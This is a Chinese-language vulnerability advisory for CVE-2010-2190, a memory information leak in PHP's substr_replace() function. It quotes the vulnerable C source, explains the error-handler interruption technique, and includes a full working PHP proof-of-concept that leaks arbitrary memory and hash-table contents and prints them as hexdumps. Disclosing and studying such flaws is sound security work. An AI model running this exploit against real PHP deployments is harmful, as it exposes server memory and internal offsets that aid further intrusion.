PHP substr_replace()函数中断信息泄露漏洞


发布日期:2010-05-30
更新日期:2010-06-25

受影响系统:
PHP PHP <= 5.3.2
PHP PHP <= 5.2.13
描述:
--------------------------------------------------------------------------------
CVE ID: CVE-2010-2190

PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

PHP的substr_replace()函数中存在信息泄露漏洞:

PHP_FUNCTION(substr_replace)
{
    ...

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ZZZ|Z", &str, &repl, &from, &len) == FAILURE) {
        return;
    }
   
    if (Z_TYPE_PP(str) != IS_ARRAY) {
        convert_to_string_ex(str);
    }
    if (Z_TYPE_PP(repl) != IS_ARRAY) {
        convert_to_string_ex(repl);
    }
    if (Z_TYPE_PP(from) != IS_ARRAY) {
        convert_to_long_ex(from);
    }

    if (argc > 3) {
        SEPARATE_ZVAL(len);
        if (Z_TYPE_PP(len) != IS_ARRAY) {
            convert_to_long_ex(len);
            l = Z_LVAL_PP(len);
        }
    } else {
        if (Z_TYPE_PP(str) != IS_ARRAY) {
            l = Z_STRLEN_PP(str);
        }
    }

    if (Z_TYPE_PP(str) == IS_STRING) {
        if (
            (argc == 3 && Z_TYPE_PP(from) == IS_ARRAY) ||
            (argc == 4 && Z_TYPE_PP(from) != Z_TYPE_PP(len))
        ) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "'from' and 'len' should be of same type - numerical or array ");
            RETURN_STRINGL(Z_STRVAL_PP(str), Z_STRLEN_PP(str), 1);     
        }

如果使用不同类型的from和len参数调用了substr_replace(),就会触发E_WARNING错误。只要PHP中没有删除call time pass by reference功能,用户空间的出错处理器就可以利用这个中断更改str参数的类型。如果将其更改为整型,就会泄露任意内存;如果更改为数组,就会泄露带有重要内部内存偏移的哈希表。

<*来源:Stefan Esser (s.esser@ematters.de)
 
  链接:http://www.php-security.org/2010/05/30/mops-2010-048-php-substr_replace-interruption-information-leak-vulnerability/index.html
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $GLOBALS['var'] = str_repeat("A", 39);
} else {
    $GLOBALS['var'] = str_repeat("A", 67);     
}

/* Setup Error Handler */
set_error_handler("my_error");

/* Trigger the Code */ 
$x = substr_replace(&$GLOBALS['var'], "XXXX", "XXXX", array());
restore_error_handler();

echo "Hexdump of an array\n";  
hexdump($x);

 

/* Alternatively leak arbitrary memory address */
if (is_float($i)) {
    $tmp = unpack("L",substr($x, 8*4, 4));
    $GLOBALS['addr'] = $tmp[1];
    $GLOBALS['var'] = str_repeat("A", 39);
} else {
    $tmp = unpack("L2",substr($x, 0x38, 8));
    $GLOBALS['addr'] = $tmp[1] + ($tmp[2] << 32); /* ASSUME LITTLE ENDIAN */
    $GLOBALS['var'] = str_repeat("A", 67);     
}

/* Setup Error Handler */
set_error_handler("my_silent_error");

/* Trigger the Code */ 
$x = substr_replace(&$GLOBALS['var'], new dummy(), "XXXX", array());
restore_error_handler();

echo "\n\nHexdump of zval_ptr_dtor\n";
hexdump($x);

/* HELPERS FOR LEAKING ARRAY CONTENT */

function my_error()
{
    parse_str("xxxxxxxxxx=1", $GLOBALS['var']);
    return 1;
}

/* HELPERS FOR LEAKING ARBITRARY ADDRESSES */

function my_silent_error()
{
    return 1;
}

class dummy
{
    function __toString()
    {          
        /* now the magic */
        $GLOBALS['var'] += $GLOBALS['addr'];
        return "";
    }
}

/* Helper function */
function hexdump($x)
{
    $l = strlen($x);
    $p = 0;

    echo "Hexdump\n";
    echo "-------\n";

    while ($l > 16) {
        echo sprintf("%08x: ",$p);
        for ($i=0; $i<16; $i++) {
            echo sprintf("%02X ", ord($x[$p+$i]));
        }
        echo "  ";
        for ($i=0; $i<16; $i++) {
            $c = ord($x[$p+$i]);
            echo ($c < 32 || $c > 127) ? '.' : chr($c);
        }
        $l-=16;
        $p+=16;
        echo "\n";
    }
    if ($l > 0)
    echo sprintf("%08x: ",$p);
    for ($i=0; $i<$l; $i++) {
        echo sprintf("%02X ", ord($x[$p+$i]));
    }
    for ($i=0; $i<16-$l; $i++) { echo "-- "; }

    echo "  ";
    for ($i=0; $i<$l; $i++) {
        $c = ord($x[$p+$i]);
        echo ($c < 32 || $c > 127) ? '.' : chr($c);
    }
    echo "\n";
}
?>

建议:
--------------------------------------------------------------------------------
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net

相关内容